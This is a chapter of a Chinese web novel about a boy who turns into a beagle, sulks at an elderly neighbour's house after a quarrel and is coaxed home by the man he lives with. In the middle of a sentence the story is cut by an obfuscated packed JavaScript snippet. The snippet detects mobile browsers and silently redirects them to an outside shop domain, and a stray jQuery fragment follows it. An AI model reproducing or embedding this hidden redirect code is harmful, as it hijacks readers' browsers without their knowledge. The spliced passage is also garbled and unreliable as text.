“小意,小意,徐叔听不懂。”
徐叔低声唤着,“小意,你变回人形,你和徐叔好好说。”
“不要害怕,任何事徐叔都能想办法。”
看着怀里难过的孩子,徐叔心疼极了。
脑袋里仿佛有一团麻,裴意然解不开也绕不过。
迷惘间听到徐叔的声音,浑浊的目光微微聚焦。
是的,他还能变回人类。
变回人类后,溪石村就不再有叫小意的比格犬。
他是裴意然。
他张着嘴,话已经升到嗓子眼。
门外忽然响起一阵仓促敲门声。
傅砚川的声音紧接着从门缝里传进来,语气透着藏不住的焦急,“徐叔,小意在你家吗?”
裴意然将话咽下,仰着头和徐叔对视一眼,迅速离开徐叔膝头,仓惶跑进里屋。
徐叔沉默的时间太久。
门外的人第一次无礼地主动推开门,正巧看见小意藏进里屋的身影。
躲起来后,裴意然瞬间开始后悔。
现在躲在阴暗的床底显得他无能挫败。
他应该光明正大站出来,先把倒打一耙的小毛揍一顿,再收拾吃里扒外的傅砚川。
只是这么想了一秒,脑袋又无精打采地垂下。
要等明天。
明天他再去揍人。
现在他要缓一缓。
他还不想看见傅砚川。
光是听到傅砚川的声音。
他就觉得好生气。
等他缓好了,他再去报仇。
裴意然竖起耳朵,悄然探听门外的动静,等待徐叔把傅砚川赶走。
他隐约听到门外两人交谈的声音,但听不清具体内容。
等了一会儿,门外的声音渐渐消失。
裴意然垂下眼,心情更为低落。
他在心里反复骂着傅砚川,但心情依旧没有好转。
甚至都没有发现房间里多出一道身影。
“……小意?”
直到空荡的房间里冒出熟悉的声音,裴意然骤然一惊,目光落在房间里突然多出的那双鞋上。
他趴在床底不作声,看着傅砚川在房间里寻找自己。
房间不算大,傅砚川很快就发现藏在床底的小狗。
他在床沿边蹲下,单手撑着身体,弯着脑袋和挤在最角落里的小狗对视。
看见他,裴意然就生气,立刻转过脑袋,一点也不想看见他的脸。
小狗藏得太靠里,傅砚川够不着,只能远远看着,哄小狗出来。
“小意,大家都走了,我们回家好不好?”
小狗依旧拿后脑勺对着他,一点声音都没发出来,明显不愿意搭理他。
傅砚川脸上露出无措的神色。
他听其中一个冷静下来的女孩解释,是小毛先碰他的手机,小意才表露出攻击意图的。
在他的印象里,小意没有主动攻击过人。
哪怕再生气,也只是虚虚张大嘴巴吓唬人。
傅砚川猜不透小意现在不理自己的理由,可能是被小毛气到了,可能是以为自己在怪他。
他谨慎地试探:“……小意,我没有怪你。”
话音未落,角落里的小狗扭过头,眼睛气得圆鼓鼓,叫声宏亮。
“你还敢怪我?你哪来的脸怪我?”
看来不是这一原因。
傅砚川继续问:“你讨厌小毛是不是?以后我不会让他来我们家玩了。”
裴意然绷起脸,陷入沉默。
其实也没讨厌到这种地步。
他不是这么小心眼的小狗人。
恍神这几秒。
傅砚川再次问他:“跟我回家好不好?”
“不要!”
裴意然回神,不要跟他回家。
尽管他似乎没有原先那么生气,但他还是不想这么轻松和傅砚川回去。
他很没有面子!
小狗用力嗷了一声后,依旧缩在床底。
门外电视剧的声音戛然而止,傅砚川估摸着已经到徐叔睡觉的时间,往门口的方向瞥了眼,继续劝:“小意,我们先回家好吗?徐叔要睡觉了,我们不要打扰别人。”
裴意然态度坚决,一点也不挪。义正辞严指出:“打扰徐叔的是你。”
一人一狗大眼瞪小眼。
僵持间,徐叔的身影出现在门口,语气柔和:“小意不愿意回去的话,就让他在我这里睡一晚。”
傅砚川没有立即表态,犹豫了几秒,告诉徐叔:“小意和其他小狗不一样,小意要和人一起睡床上,晚上睡姿很差。”
出乎意料,徐叔听完后没有露出讶异的表情,只是平静点头,了然道:“没关系,有多余的房间。”
裴意然实在没想到。
傅砚川不仅不知悔改,还敢当着自己的面和徐叔说自己坏话。
他怒骂傅砚川:“你混蛋!”
徐叔话已经说到这份上,小意也躲在床底不愿意出来。
傅砚川感到挫败。
沉默半晌,还是站起身。
最后往床底瞥了一眼,语气很轻,“麻烦您了。”
傅砚川走后,比格犬慢吞吞从床底爬出来。
徐叔走向衣柜。
来之前,里里特意让他给小意带上几套衣服,没想到真派上用场了。
他将干净的衣裳放在床上,摸摸小狗的脑袋,转身往外走,将门轻轻带上。
在外屋等了会儿,换上衣服的小狗人推门出来,光脚站在门口。
精致漂亮的人儿看上去情绪不高,下垂的眼尾仿佛透着似有若无的沮丧。
往日清亮的声线显得平平,声音里透着一丝这个年纪的稚气,“徐叔,我没有鞋子。”
“唉。”徐叔一拍脑袋,“徐叔忘记了,徐叔给你拿。”
顺便拿了套新的洗漱用品。
裴意然光着脚跟在徐叔身后,拿到东西后就跑去浴室洗澡。
知道徐叔在等自己,他动作迅速,裹着腾腾雾气回到外屋。
“怎么不吹头发?”徐叔关切问,招手让他坐着,自己去拿吹风机。
摸着小意湿漉漉的头发,徐叔觉得好笑,“和里里一样,两个人都不喜欢自己吹头发。”
裴意然觉得不好意思,嘴硬否认:“……不是的。”
徐叔弯眼笑笑。
吹完头发,才坐下和小意聊天。
“我听小傅讲了遍来龙去脉,小傅其实也不完全清楚事情经过。你跟徐叔说说,是不是那群小孩欺负你了?”
裴意然摇摇头,“不是的。”
要他现在复述生气的缘由,裴意然也记不太清。
只是当时正在气头,情绪激动的样子似乎吓到徐叔。
现在面对面坐着,看着徐叔一脸怕他被欺负的严肃表情,裴意然反而觉得不好意思
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17810584|210818||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,反思自己是小题大做。
他嘟囔着糊弄徐叔:“……我就是开始很生气,现在已经不气了,徐叔你不用担心我。”
见他眼神略有闪躲,徐叔也不再追问,只笑着点头,“好。”
他补充叮嘱:“只是你有事一定要告诉徐叔,不要自己生闷气。”
裴意然在老人家面前乖顺应:“知道啦。”
“早点休息,明天早餐想吃什么?徐叔给你做。”
裴意然有一段时间没吃人类的食物,冥思苦想也没想好答案。
徐叔拍拍他的脑袋,笑着说:“那徐叔看着来。”
“好。”裴意然应了一声,目送徐叔离开。
回到自己今晚休息的房间。
徐叔家里的条件比傅砚川家里好太多,不会出现被蚊子咬、虫子爬上床的情况。
他盖着蚕丝被,躺在柔软的床垫上。房间里冷气充足,耳旁没有风扇呼呼作响的杂音。
没有傅砚川,他一个人占据整张床,可以随意翻滚。
但裴意然失眠到后半夜才睡着。
第二天清晨浑浑噩噩睁眼,眼皮又沉又重。
徐叔将牛奶递到他手边,“等会补个觉。”
裴意然摇头。
照傅砚川的性子,不出意外上午又会过来找他。
睡一觉醒,他心里对傅砚川的气也散得七七八八。
傅砚川再来哄他,他就顺杆子和傅砚川回去。
果然,在客厅看了半小时的电视。
傅砚川过来敲门。
裴意然偷偷觑他一眼。
尽管已经准备和傅砚川回去,但表面是一副还没气消的模样。
“大早上打扰您了。”
傅砚川把董婶给的西瓜抱来借花献佛,放在桌上。
高大的身影在小狗身旁蹲下,显得拘谨局促,试探喊:“……小意?”
徐叔出面当这个和事佬,抱起别扭的小狗,放进傅砚川怀里。
傅砚川身体僵直,下意识将小意搂紧。
他低头目不转睛观察小意的反应,抿着唇,神情紧张。
看见小意只是仰着脑袋瞪自己,没有挣扎的举动。
他小心翼翼抱着小狗,站起身和徐叔道谢再道别。
裴意然两只爪垫踩在傅砚川胸口,瞪了他半晌,忽然攀着他的身体往上爬,忿忿咬住傅砚川的头发,将心里最后一点闷气也发泄出去。
原本两家距离就近,傅砚川步伐快。
转瞬已经回到家。
将门关上,傅砚川才终于松出一口气。
头发被小意咬得湿漉漉的,他抬手摸了一下。
对上小意理直气壮的表情,不禁失笑,低下头,额头在小意乱动的脑袋上碰了下,“抱歉,让你难过了。”
“我没有难过,”小狗嗷嗷反驳,伸出爪子推傅砚川的脸,“……你、你又不重要,我本来就不难过!”
他大声吼:“不准靠这么近!”
听着小狗活泼的叫声,傅砚川心里莫名感到踏实。
他第一次无视小狗的抗拒,亲昵在小狗脑袋上蹭了两个来回,才将小狗放下。
他还记着麻烦徐叔的事,说不清其中有没有掺私心,和小狗讲道理:“徐叔年纪大了,你总去徐叔家玩,会让徐叔感到困扰的。以后就待在家里玩好不好?”
比格犬充耳不闻,并往傅砚川小腿踹了一脚,气鼓鼓往里屋跑。